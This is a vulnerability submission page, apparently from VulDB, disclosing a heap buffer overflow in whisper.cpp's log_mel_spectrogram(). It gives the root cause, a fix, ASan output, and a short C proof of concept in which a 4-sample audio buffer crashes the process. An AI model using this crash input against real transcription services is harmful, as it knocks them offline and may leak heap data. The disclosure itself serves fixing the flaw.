| 标题 | ggml-org whisper.cpp v1.8.4-58 Heap-based Buffer Overflow |
|---|
| 描述 | ## Title
Heap buffer overflow in `log_mel_spectrogram()` via short audio input (`whisper.cpp`)
## Summary
The `log_mel_spectrogram()` function in `src/whisper.cpp` performs reflective
padding on input audio samples without validating that the input is long enough
for the padding operation. When `n_samples` is less than `stage_2_pad + 1`
(typically 201 samples / ~12.5ms at 16kHz), the `std::reverse_copy()` call reads
past the end of the input buffer, causing a heap-buffer-overflow.
**PoC:** 16 bytes of PCM float32 data (4 samples).
This is reachable through any application that passes user-supplied audio to
`whisper_full()` or `whisper_pcm_to_mel_with_state()`, including voice
assistants, transcription services, and any whisper.cpp-based API endpoint.
## Details
**Affected Components:**
| File | Function | Line |
|------|----------|------|
| `src/whisper.cpp` | `log_mel_spectrogram()` | 3201 |
| `src/whisper.cpp` | `whisper_pcm_to_mel_with_state()` | 3876 |
| `src/whisper.cpp` | `whisper_full_with_state()` | 6796 |
## Root Cause
The mel spectrogram computation applies reflective padding to the beginning of
the audio samples. At line 3191:
```cpp
int64_t stage_2_pad = frame_size / 2; // frame_size=400 → stage_2_pad=200
```
At line 3201, the reflective padding copies `stage_2_pad` samples starting at
`samples + 1`:
```cpp
std::reverse_copy(samples + 1, samples + 1 + stage_2_pad, samples_padded.begin());
```
This reads from `samples[1]` through `samples[200]`. When `n_samples < 201`,
this reads past the end of the allocated buffer. With the minimal PoC
(`n_samples = 4`), the read extends 784 bytes (196 floats) beyond the buffer.
There is **no validation** that `n_samples >= stage_2_pad + 1` before the
reflective padding operation.
## Proof of Concept
**Minimal PoC (16 bytes):**
The crash file `poc-025-whisper-heap-oob.bin` contains 4 float32 values that
trigger the overflow. Any PCM float32 input shorter than 201 samples (804 bytes)
will trigger this bug.
**Reproduction with ASan:**
```bash
# Build whisper.cpp with sanitizers
cmake -B build-fuzz -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
-DCMAKE_C_FLAGS="-fsanitize=address,undefined" \
-DCMAKE_CXX_FLAGS="-fsanitize=address,undefined"
cmake --build build-fuzz
# Reproduce via fuzzer binary
CRUCIBLE_REPLAY=1 CRUCIBLE_WHISPER_MODEL=models/ggml-tiny.bin \
./crucible-libfuzzer-whisper-audio poc-025-whisper-heap-oob.bin
```
**ASan output:**
```
ERROR: AddressSanitizer: heap-buffer-overflow on address ... at pc ...
READ of size 4 at ... thread T0
#0 ... std::reverse_copy<float const*, ...> stl_algo.h:1108
#1 ... log_mel_spectrogram(...) whisper.cpp:3201
#2 ... whisper_pcm_to_mel_with_state whisper.cpp:3876
#3 ... whisper_full_with_state whisper.cpp:6796
```
**Programmatic PoC (C):**
```c
#include "whisper.h"
int main(void) {
struct whisper_context_params cparams = whisper_context_default_params();
cparams.use_gpu = false;
struct whisper_context *ctx = whisper_init_from_file_with_params("ggml-tiny.bin", cparams);
// 4 float samples — far less than the 201 required for reflective padding
float samples[4] = {0.8f, -0.1f, 0.5f, -0.5f};
struct whisper_full_params wparams = whisper_full_default_params(WHISPER_SAMPLING_GREEDY);
wparams.n_threads = 1;
whisper_full(ctx, wparams, samples, 4); // heap-buffer-overflow here
whisper_free(ctx);
return 0;
}
```
## Suggested Fix
Add a minimum sample count check before the reflective padding:
```cpp
// Ensure enough samples for reflective padding
if (n_samples < stage_2_pad + 1) {
WHISPER_LOG_ERROR("audio too short for mel spectrogram: %d samples, need at least %d\n",
n_samples, (int)(stage_2_pad + 1));
return;
}
```
Alternatively, clamp `stage_2_pad` to `n_samples - 1` when input is short.
## Impact
- **Confidentiality:** Low — out-of-bounds read may leak heap data (info leak)
- **Integrity:** None
- **Availability:** High — crashes the process
Any application using whisper.cpp that processes untrusted audio input is
vulnerable. This includes:
- Transcription APIs accepting uploaded audio files
- Voice assistants processing streaming audio
- Any service using `whisper_full()` without pre-validating audio length
The 16-byte PoC is trivially small — a single malformed audio packet could crash
a production service.
## Timeline
| Date | Event |
|------|-------|
| 2025-04-06 | Discovered by Crucible fuzzer (whisper-audio campaign) |
| 2025-04-06 | Root cause analysis confirmed heap-buffer-overflow in `log_mel_spectrogram()` |
| TBD | GHSA submission pending |
|
|---|
| 用户 | m00dy (UID 97162) |
|---|
| 提交 | 2026-04-07 18時54分 (4 月前) |
|---|
| 管理 | 2026-07-27 09時09分 (4 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 383382 [ggml-org whisper.cpp 1.8.4-58 src/whisper.cpp log_mel_spectrogram 信息公开] |
|---|
| 积分 | 17 |
|---|